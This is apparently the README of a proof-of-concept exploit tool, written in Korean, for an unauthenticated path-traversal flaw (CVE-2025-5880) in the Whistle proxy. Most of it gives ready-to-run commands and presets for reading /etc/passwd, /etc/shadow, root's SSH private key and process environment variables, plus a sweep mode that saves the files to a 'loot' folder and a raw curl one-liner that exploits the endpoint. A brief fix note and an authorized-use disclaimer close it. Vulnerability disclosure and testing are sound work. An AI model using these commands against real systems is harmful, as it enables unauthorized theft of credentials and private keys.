
Whistle v2.9.98에서 인증되지 않은 경로 탐색 취약점에 대한 개념 증명 익스플로잇입니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-5880 |
| CWE | CWE-22 (경로 탐색) |
| 영향 받는 소프트웨어 | Whistle ≤ 2.9.98 |
| 영향 받는 엔드포인트 | /cgi-bin/sessions/get-temp-file |
| 공격 벡터 | 네트워크 — 인증 불필요 |
| 영향 | 호스트 파일 시스템의 임의 파일 읽기 |
filename 쿼리 매개변수는 디스크의 파일을 열기 전에 검증되지 않으므로, 공격자가 의도된 임시 파일 디렉토리를 벗어나 Whistle 프로세스가 접근 권한을 가진 모든 파일(예: /etc/passwd, /root/.ssh/id_rsa)을 읽을 수 있습니다.
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
| 플래그 | 설명 |
|---|---|
-u / --url | 대상의 기본 URL (예: http://192.168.1.10:8899) |
-f / --file | 읽을 임의의 파일 경로 |
--preset | 이름 단축키: passwd shadow hosts id_rsa … |
--sweep | 모든 프리셋 자동 반복 |
-o / --output | 결과를 파일로 저장 |
--save-dir | --sweep 결과를 저장할 디렉토리 |
--timeout | HTTP 타임아웃 (초 단위, 기본값 10) |
# Read /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Grab root's SSH private key
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Read an arbitrary path
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Sweep & save all presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Whistle을 filename 매개변수를 검증하고 의도된 임시 파일 디렉토리로 제한하는 버전으로 업데이트하세요. 서버 측에서 허용 목록 경로 정규화(예: path.resolve + 접두사 확인)를 적용하세요.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.
귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법이며 비윤리적입니다.
작성자는 오용에 대한 책임을 지지 않습니다.